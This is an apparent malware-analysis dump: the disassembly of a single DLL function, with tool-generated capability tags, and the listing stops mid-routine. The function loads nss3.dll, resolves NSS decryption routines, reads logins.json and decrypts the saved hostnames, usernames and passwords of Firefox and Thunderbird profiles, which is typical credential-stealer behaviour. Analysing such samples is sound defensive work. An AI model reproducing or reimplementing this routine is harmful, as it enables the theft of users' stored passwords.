Function at 0x180097020
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4d0]
sub rsp, 0x5d0
xor r12d, r12d
mov qword [rsp + 0x48], 0xf
mov r15, rcx
mov qword [rsp + 0x40], r12
mov edi, r12d
lea rcx, [rbp + 0x470]
mov byte [rsp + 0x30], dil
mov r14, r8
mov r13, rdx
call fcn.1800b8a30
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180097082
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rsi, rax
cmp rdx, 0x10
jb 0x1800970d2
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1800970cd
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180098c41
mov rcx, r8
call fcn.1800c1180
movaps xmmword [rsp + 0x5c0], xmm6
movaps xmmword [rsp + 0x5b0], xmm7
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
test rsi, rsi
jne 0x1800971b4
xor r8d, r8d
mov qword [r15 + 0x10], r12
lea rdx, [0x1800f99d0]
mov qword [r15 + 0x18], 0xf
mov rcx, r15
mov byte [r15], dil
call fcn.1800b8fb0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x180097156
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x180097151
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180098c3b
mov rcx, r8
call fcn.1800c1180
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], 0xf
mov byte [r13], dil
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1800971a0
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18009719b
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180098c3b
mov rcx, r8
call fcn.1800c1180
mov qword [r14 + 0x10], r12
mov byte [r14], dil
mov qword [r14 + 0x18], 0xf
jmp 0x180098c07
lea rdx, str.NSS_Init
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rsi
mov qword [0x1801194c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rsi
mov qword [0x180119568], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rsi
mov qword [0x1801194b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rsi
mov qword [0x180119528], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rsi
mov qword [0x180119538], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rsi
mov qword [0x180119500], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x18]
mov qword [0x1801194e8], rax
call fcn.180096940
mov rdx, qword [rbp - 8]
lea rcx, [rbp + 0x18]
add rdx, 0xc
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], dil
call fcn.1800ba640
cmp qword [rbp], 0x10
lea rdx, [rbp - 0x18]
mov r8, qword [rbp - 8]
lea rcx, [rbp + 0x18]
cmovae rdx, qword [rbp - 0x18]
call fcn.1800b8790
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rbp + 0x18]
call fcn.1800b8790
cmp qword [rbp + 0x30], 0x10
lea rcx, [rbp + 0x18]
lea rdx, [0x180103ec0]
cmovae rcx, qword [rbp + 0x18]
call fcn.1800c9258
test rax, rax
je 0x1800972db
mov rcx, rax
call fcn.1800c92e8
mov bl, 1
jmp 0x1800972dd
xor bl, bl
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x180097318
mov rcx, qword [rbp + 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097313
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c47
call fcn.1800c1180
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], dil
test bl, bl
je 0x180098b59
cmp qword [rbp], 0x10
lea rcx, [rbp - 0x18]
cmovae rcx, qword [rbp - 0x18]
call qword [0x1801194c8]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x490]
call fcn.1800b8a30
mov rcx, rax
call fcn.180091490
mov qword [rbp - 0x80], r12
mov r12, 0xffffffffffffffff
mov r8, r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], dil
inc r8
cmp byte [rax + r8], dil
jne 0x180097377
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1800b8fb0
cmp qword [rbp - 0x80], rdi
jbe 0x180098b1a
mov cl, 1
mov qword [rbp + 0xa0], rdi
call fcn.1800c2478
xor edx, edx
mov qword [rbp + 0xc0], rax
lea rcx, [rbp - 0x20]
call fcn.1800c1ed4
mov rsi, qword [0x180119bd0]
mov r15, qword [0x180119bb8]
mov qword [rbp + 0x38], r15
test rsi, rsi
jne 0x18009740f
xor edx, edx
lea rcx, [rbp + 0x528]
call fcn.1800c1ed4
cmp qword [0x180119bd0], rdi
jne 0x1800973fc
mov eax, dword [0x180117e70]
inc eax
mov dword [0x180117e70], eax
cdqe
mov qword [0x180119bd0], rax
lea rcx, [rbp + 0x528]
call fcn.1800c1f4c
mov rsi, qword [0x180119bd0]
mov rcx, qword [rbp + 0xc0]
cmp rsi, qword [rcx + 0x18]
jae 0x18009742b
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009748a
jmp 0x18009742d
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x180097446
call fcn.1800c2470
cmp rsi, qword [rax + 0x18]
jae 0x18009744b
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009748a
test r15, r15
je 0x180097455
mov rbx, r15
jmp 0x18009748a
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x38]
call fcn.1800ba210
cmp rax, r12
je 0x180098c4d
mov rbx, qword [rbp + 0x38]
mov rcx, rbx
call fcn.1800c2438
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180119bb8], rbx
lea rcx, [rbp - 0x20]
call fcn.1800c1f4c
lea rcx, [rbp + 0xb8]
mov qword [rbp + 0xa8], rbx
call fcn.1800b91c0
lea r8, [0x180104444]
mov qword [rbp + 0xb0], rax
lea rdx, str._hostname_:_______
lea rcx, [rbp + 0xa0]
call fcn.1800b9900
mov cl, 1
mov qword [rbp + 0x78], rdi
call fcn.1800c2478
xor edx, edx
mov qword [rbp + 0x98], rax
lea rcx, [rbp - 0x2c]
call fcn.1800c1ed4
mov rsi, qword [0x180119bd0]
mov r15, qword [0x180119bb8]
mov qword [rbp + 0x48], r15
test rsi, rsi
jne 0x180097536
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.1800c1ed4
cmp qword [0x180119bd0], rdi
jne 0x180097526
mov eax, dword [0x180117e70]
inc eax
mov dword [0x180117e70], eax
cdqe
mov qword [0x180119bd0], rax
lea rcx, [rbp - 0x30]
call fcn.1800c1f4c
mov rsi, qword [0x180119bd0]
mov rcx, qword [rbp + 0x98]
cmp rsi, qword [rcx + 0x18]
jae 0x180097552
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x1800975b1
jmp 0x180097554
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x18009756d
call fcn.1800c2470
cmp rsi, qword [rax + 0x18]
jae 0x180097572
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x1800975b1
test r15, r15
je 0x18009757c
mov rbx, r15
jmp 0x1800975b1
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x48]
call fcn.1800ba210
cmp rax, r12
je 0x180098c53
mov rbx, qword [rbp + 0x48]
mov rcx, rbx
call fcn.1800c2438
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180119bb8], rbx
lea rcx, [rbp - 0x2c]
call fcn.1800c1f4c
lea rcx, [rbp + 0x90]
mov qword [rbp + 0x80], rbx
call fcn.1800b91c0
lea r8, [0x180104465]
mov qword [rbp + 0x88], rax
lea rdx, str._encryptedUsername_:_______
lea rcx, [rbp + 0x78]
call fcn.1800b9900
mov cl, 1
mov qword [rbp + 0x50], rdi
call fcn.1800c2478
xor edx, edx
mov qword [rbp + 0x70], rax
lea rcx, [rbp - 0x24]
call fcn.1800c1ed4
mov rsi, qword [0x180119bd0]
mov r15, qword [0x180119bb8]
mov qword [rbp + 0x40], r15
test rsi, rsi
jne 0x180097657
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.1800c1ed4
cmp qword [0x180119bd0], rdi
jne 0x180097647
mov eax, dword [0x180117e70]
inc eax
mov dword [0x180117e70], eax
cdqe
mov qword [0x180119bd0], rax
lea rcx, [rbp - 0x28]
call fcn.1800c1f4c
mov rsi, qword [0x180119bd0]
mov rcx, qword [rbp + 0x70]
cmp rsi, qword [rcx + 0x18]
jae 0x180097670
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x1800976cc
jmp 0x180097672
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x18009768b
call fcn.1800c2470
cmp rsi, qword [rax + 0x18]
jae 0x180097690
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x1800976cc
test r15, r15
je 0x18009769a
mov rbx, r15
jmp 0x1800976cc
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x40]
call fcn.1800ba210
cmp rax, r12
je 0x180098c59
mov rbx, qword [rbp + 0x40]
mov rcx, rbx
call fcn.1800c2438
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180119bb8], rbx
lea rcx, [rbp - 0x24]
call fcn.1800c1f4c
lea rcx, [rbp + 0x68]
mov qword [rbp + 0x58], rbx
call fcn.1800b91c0
lea r8, [0x180104485]
mov qword [rbp + 0x60], rax
lea rdx, str._encryptedPassword_:_______
lea rcx, [rbp + 0x50]
call fcn.1800b9900
mov rdx, qword [rbp - 0x78]
lea rbx, [rsp + 0x70]
mov rax, qword [rsp + 0x70]
xor r15d, r15d
xorps xmm0, xmm0
mov qword [rbp + 0xd0], r15
cmp rdx, 0x10
mov byte [rbp + 0xd8], dil
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm0
cmovae rbx, rax
movdqa xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r15
movabs rsi, 0x2aaaaaaaaaaaaaab
mov byte [rbp + 0x108], dil
movdqa xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x120], dil
mov qword [rbp + 0x128], r15
mov qword [rbp + 0x130], r15
mov byte [rbp + 0x138], dil
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], dil
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], dil
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], dil
nop dword [rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rbp - 0x80]
lea rcx, [rsp + 0x70]
cmovae rcx, rax
lea r9, [rbp + 0xa0]
add rdx, rcx
lea r8, [rbp + 0xd0]
mov rcx, rbx
call fcn.1800baa80
test al, al
je 0x1800988b8
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
mov r8, qword [rbp + 0xe0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmp rdx, 1
jbe 0x18009781d
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009782f
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x340], xmm0
jmp 0x18009783a
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x340], xmm0
mov rdx, qword [rbp + 0x340]
mov eax, 0xf
mov r8, qword [rbp + 0x348]
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1b8], rax
mov byte [rbp + 0x1a0], r15b
cmp rdx, r8
je 0x18009787d
sub r8, rdx
lea rcx, [rbp + 0x1a0]
call fcn.1800b8fb0
mov rax, qword [rbp + 0x1b8]
cmp rax, 0x10
lea rcx, [rbp + 0x1a0]
cmovae rcx, qword [rbp + 0x1a0]
call fcn.180091dc0
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x1800978a0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1800b8fb0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x1800978f7
mov rcx, qword [rbp + 0x1a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800978f2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c5f
call fcn.1800c1180
cmp qword [rbp - 0x78], 0x10
lea rcx, [rsp + 0x70]
mov rdx, qword [rbp - 0x80]
lea r9, [rbp + 0x78]
cmovae rcx, qword [rsp + 0x70]
lea r8, [rbp + 0xd0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800baa80
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
mov r8, qword [rbp + 0xe0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmp rdx, 1
jbe 0x18009795c
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009796e
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x370], xmm0
jmp 0x180097979
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x370], xmm0
mov rdx, qword [rbp + 0x370]
mov r8, qword [rbp + 0x378]
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3c8], 0xf
mov byte [rbp + 0x3b0], r15b
cmp rdx, r8
je 0x1800979b4
sub r8, rdx
lea rcx, [rbp + 0x3b0]
call fcn.1800b8fb0
lea rcx, [rbp + 0x3b0]
call fcn.180096e90
mov rcx, rax
call fcn.180091dc0
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x1800979d0
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1800b8fb0
cmp qword [rbp - 0x78], 0x10
lea rcx, [rsp + 0x70]
mov rdx, qword [rbp - 0x80]
lea r9, [rbp + 0x50]
cmovae rcx, qword [rsp + 0x70]
lea r8, [rbp + 0xd0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800baa80
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
mov r8, qword [rbp + 0xe0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmp rdx, 1
jbe 0x180097a4a
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x180097a5c
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x380], xmm0
jmp 0x180097a67
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x380], xmm0
mov rdx, qword [rbp + 0x380]
mov r8, qword [rbp + 0x388]
mov qword [rbp + 0x3e0], r15
mov qword [rbp + 0x3e8], 0xf
mov byte [rbp + 0x3d0], r15b
cmp rdx, r8
je 0x180097aa2
sub r8, rdx
lea rcx, [rbp + 0x3d0]
call fcn.1800b8fb0
lea rcx, [rbp + 0x3d0]
call fcn.180096e90
mov rcx, rax
call fcn.180091dc0
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x180097ac0
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800b8fb0
mov r8d, 8
mov qword [rbp + 0x3a0], r15
cmp qword [rsp + 0x60], r8
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x390]
mov qword [rbp + 0x3a8], 0xf
cmovb r8, qword [rsp + 0x60]
cmp qword [rsp + 0x68], 0x10
mov byte [rbp + 0x390], r15b
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8fb0
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp + 0x390]
mov rcx, qword [rbp + 0x390]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x3a0], 8
jne 0x180097b57
movabs r8, 0x2f2f3a687475616f
cmp qword [rax], r8
jne 0x180097b57
xor sil, sil
jmp 0x180097b5a
mov sil, 1
cmp rdx, 0x10
jb 0x180097b8d
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097b88
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c83
call fcn.1800c1180
test sil, sil
je 0x180098836
mov rax, qword [r14 + 0x18]
mov rcx, r14
cmp rax, 0x10
jb 0x180097ba6
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x180098213
cmp byte [rcx], 0x30
jne 0x180098213
cmp qword [rsp + 0x60], r15
jne 0x180097bc5
mov al, 1
jmp 0x180097bc7
xor al, al
test al, al
jne 0x180097d9b
lea rdx, [rdi + 1]
mov qword [rbp + 0x1d0], r15
lea rcx, [rbp + 0x1c0]
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x1c0]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp + 0x1c0]
call fcn.1800b8790
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [rbp + 0x1c0]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f50]
lea rcx, [rbp + 0x1e0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm7
cmp rdx, 0x10
jb 0x180097cf1
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097cec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c65
call fcn.1800c1180
mov rdx, qword [rbp + 0x1f8]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180097d3c
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097d37
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c65
call fcn.1800c1180
mov rdx, qword [rbp + 0x1d8]
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], 0xf
mov byte [rbp + 0x1e0], r15b
cmp rdx, 0x10
jb 0x180097d96
mov rcx, qword [rbp + 0x1c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097d91
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c65
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
cmp qword [rbp - 0x40], r15
jne 0x180097da5
mov al, 1
jmp 0x180097da7
xor al, al
test al, al
jne 0x180097f77
lea rdx, [rdi + 1]
mov qword [rbp + 0x150], r15
lea rcx, [rbp + 0x140]
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x140]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp + 0x140]
call fcn.1800b8790
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x140]
cmovae rdx, qword [rbp - 0x50]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f50]
lea rcx, [rbp + 0x200]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x210], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x430], xmm6
movups xmmword [rbp + 0x440], xmm7
cmp rdx, 0x10
jb 0x180097ecd
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097ec8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c6b
call fcn.1800c1180
mov rdx, qword [rbp + 0x218]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180097f18
mov rcx, qword [rbp + 0x200]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097f13
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c6b
call fcn.1800c1180
mov rdx, qword [rbp + 0x158]
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], 0xf
mov byte [rbp + 0x200], r15b
cmp rdx, 0x10
jb 0x180097f72
mov rcx, qword [rbp + 0x140]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180097f6d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c6b
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
cmp qword [rbp - 0x60], r15
jne 0x180097f81
mov al, 1
jmp 0x180097f83
xor al, al
test al, al
jne 0x180098153
lea rdx, [rdi + 1]
mov qword [rbp + 0x170], r15
lea rcx, [rbp + 0x160]
mov qword [rbp + 0x178], 0xf
mov byte [rbp + 0x160], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x160]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp + 0x160]
call fcn.1800b8790
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0x160]
cmovae rdx, qword [rbp - 0x70]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f50]
lea rcx, [rbp + 0x220]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x230], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x3f0], xmm6
movups xmmword [rbp + 0x400], xmm7
cmp rdx, 0x10
jb 0x1800980a9
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800980a4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c71
call fcn.1800c1180
mov rdx, qword [rbp + 0x238]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x1800980f4
mov rcx, qword [rbp + 0x220]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800980ef
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c71
call fcn.1800c1180
mov rdx, qword [rbp + 0x178]
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], r15b
cmp rdx, 0x10
jb 0x18009814e
mov rcx, qword [rbp + 0x160]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098149
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c71
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
lea rdx, [rdi + 1]
mov qword [rbp + 0x250], r15
lea rcx, [rbp + 0x240]
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x240]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x1800fa9ec]
lea rcx, [rbp + 0x240]
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800981f2
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800981ed
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c77
call fcn.1800c1180
movups xmm1, xmmword [rbp + 0x250]
mov rax, qword [r14 + 0x18]
movups xmm0, xmmword [rbp + 0x240]
movups xmmword [rsp + 0x40], xmm1
mov rdi, qword [rsp + 0x40]
movups xmmword [rsp + 0x30], xmm0
mov rcx, r14
cmp rax, 0x10
jb 0x18009821f
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009822f
cmp byte [rcx], 0x31
jne 0x18009822f
mov al, 1
jmp 0x180098231
xor al, al
test al, al
je 0x180098830
lea rdx, [rdi + 4]
mov qword [rbp + 0x190], r15
lea rcx, [rbp + 0x180]
mov qword [rbp + 0x198], 0xf
mov byte [rbp + 0x180], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x180]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 4
lea rdx, str.mail
lea rcx, [rbp + 0x180]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x180]
call fcn.1800b8790
mov r8d, 0xb
lea rdx, str.Thunderbird
lea rcx, [rbp + 0x350]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x350], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x360], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x320]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x320], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x330], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [rbp + 0x300]
cmovae rdx, qword [rsp + 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x300], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x310], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x2e0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f0], xmm1
mov qword [rax + 0x10], r15
